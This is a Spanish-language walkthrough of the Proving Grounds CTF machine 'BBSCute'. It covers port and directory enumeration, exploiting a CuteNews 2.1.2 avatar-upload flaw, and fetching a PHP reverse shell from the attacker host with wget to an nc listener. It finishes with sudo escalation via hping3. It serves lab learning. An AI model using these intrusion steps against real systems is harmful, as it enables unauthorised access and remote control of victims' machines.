🟢BBSCute

Write-up de la máquina BBSCute de Proving Grounds #writeup #walkthrough

Enumeración

Servicios disponibles

Comenzamos la resolución de este CTF enumerando los servicios que tiene disponibles.

nmap -p- --open --min-rate 500 -Pn -n -vvv 192.168.147.128

5 puertos abiertos (22,80,88,110,995). Continuamos con el escaneo profundo de estos servicios.

nmap -p22,80,88,110,995 -Pn -n -sVC -vvv 192.168.147.128

Servicios disponibles:

  • Puerto 22 -> SSH -> OpenSSH 7.9

  • Puerto 80 -> HTTP -> Apache httpd 2.4.38

  • Puerto 88 -> HTTP -> nginx 1.14.2

  • Puerto 110 -> POP3

  • Puerto 995 -> POP3

Enumeración Web

Comenzamos enumerando el contenido del servicio Web ejecutado en el puerto 80.

Vemos una página por defecto de un servidor Apache. Vamos ahora a enumerar los directorios y archivos interesantes en buscar de posibles puntos vulnerables.

dirsearch -u "192.168.147.128" -i200,301 -t 30

Abrimos el archivo /LICENSE.txt

Parece que se está ejecutando el CMS "Cute" en el servidor Web pero no vemos que versión.

El siguiente archivo interesante, /index.php

Vemos un formulario de inicio de sesión y la confirmación de la información obtenida anteriormente además de la versión ejecutada.

Explotación

Sabiendo que se está ejecutando el CMS "CuteNews" en su versión 2.1.2, vamos a buscar si existe algún exploit para este CMS.

Vamos a descargar este exploit para ver como se ejecuta.

Este exploit aprovecha una vulnerabilidad de carga de archivos en la carga de imágenes de avatar.

El exploit no funciona de inmediato. La razón es que no estamos situados en /CuteNews, estamos sentados en el directorio raíz. Debemos bsucar y reemplazar las referencias de /CuteNews, entonces este exploit funcionará.

Una vez hemos realizado las modificaciones en el exploit, ejecutamos.

Tenemos conexión con la máquina objetivo aunque no una shell como tal. Para ello, vamos a cargar una reverse shell en el sistema objetivo de la siguiente manera:

  • Preparamos un archivo "php-reverse-shell.php" con nuestra IP y puerto de escucha.

  • Ponemos un oyente nc a la escucha en el puerto 1234.

nc -lnvp 1234
  • Habilitamos un servidor HTTP con Python para enviar este archivo a la máquina víctima

En la máquina de ataque: python2 -m SimpleHTTPServer 80
En la máquina objetivo: wget http://192.168.49.147/php-reverse-shell.php
  • Abrimos el archivo en el navegador Web, y ya tendremos conexión.

Realizamos el tratamiento de la tty:

 python -c 'import pty;pty.spawn("/bin/bash")'

El siguiente paso, buscar la flag de privilegios bajos, local.txt.

Elevación de privilegios

Vamos a comprobar los privilegios de sudo de nuestro usuario:

sudo -l

Se permite escalar desde hping3.

Solo quedará buscar la flag proof.txt

Y ya estaría la máquina "BBSCute" resuelta y terminada.

Last updated